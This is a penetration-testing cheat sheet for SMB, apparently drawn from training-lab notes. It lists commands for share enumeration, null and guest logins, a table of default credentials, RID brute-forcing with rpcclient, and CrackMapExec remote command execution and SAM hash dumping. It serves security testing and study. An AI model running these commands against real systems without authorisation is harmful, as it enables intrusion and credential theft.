SMB

Introduction

  • Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources.

  • The SMB protocol enables the client to communicate with other participants in the same network to access files or services shared with it on the network.

  • An SMB server can provide arbitrary parts of its local file system as shares.

  • Access rights are defined by Access Control Lists (ACL).

  • SMB runs on port 445 TCP by default


SMB Shares Enumeration

  • Run Snaffler from a Windows host to find useful data in shares: .\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data

  • Run Scavenger from a Linux host to find useful data in shares: python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d testdomain.local

  • Shares enumeration from Windows: net view \MachineName /all

  • CME Shares Enumeration from Linux: sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword --shares

  • CME Share Spidering from Linux: sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword -M spider_plus --share sharename

  • SMBMap Share Enumeration from Linux: smbmap -u validuser -p validpassword -d INLANEFREIGHT.LOCAL -H 172.16.5.5

  • SMBMap Share Recursive Directory Listing from Linux smbmap -u validuser -p validpassword -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SHARENAME --dir-only

  • Download Shares Recursively from Linux: smbget -u guest -R smb://10.129.8.111/Development/


SMB NULL Session, Guest and Common Credentials Authentication

  • Guest Authentication: enum4linux -a -u "guest" -p "" <DC IP>

  • Guest Authentication: smbmap -u "guest" -p "" -P 445 -H <DC IP>

  • Guest Authentication: smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //

  • NULL Session: smbclient -N -L //<FQDN/IP>

  • NULL Session: crackmapexec smb <FQDN/IP> --shares -u '' -p ''

  • NULL Session: smbmap -u "" -p "" -P 445 -H <DC IP>

  • NULL Session: enum4linux -a -u "" -p "" <DC IP>

  • Check for common SMB credentials, as listed below


Common SMB Credentials

Source: https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#possible-credentials

Common Username(s)
Common Password

(blank)

(blank)

guest

(blank)

Administrator, admin

(blank), password, administrator, admin

arcserve

arcserve, backup

tivoli, tmersrvd

tivoli, tmersrvd, admin

backupexec, backup

backupexec, backup, arcada

test, lab, demo

password, test, lab, demo


Enumerating SMB via RPC Client

The rpcclient utility offers us many different requests with which we can execute specific functions on the SMB server to get information.

Command (Query)
Description

srvinfo

Server information.

enumdomains

Enumerate all domains that are deployed in the network.

querydominfo

Provides domain, server, and user information of deployed domains.

netshareenumall

Enumerates all available shares.

netsharegetinfo

Provides information about a specific share.

enumdomusers

Enumerates all domain users.

queryuser

Provides information about a specific user.

Bruteforcing user RIDs:

  • Oneliner: for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

  • Impacket Samrdump: samrdump.py 10.129.14.128


CrackMapExec (CME) Utilities

Description
Command

Run commands with CrackMapExec

crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

Enumerate logged on users with CrackMapExec

crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users

Extract Hashes from the SAM Database with CrackMapExec

crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam

Enumerate Password Policies

crackmapexec smb 172.16.5.5 -u validuser -p validpass --pass-pol

Last updated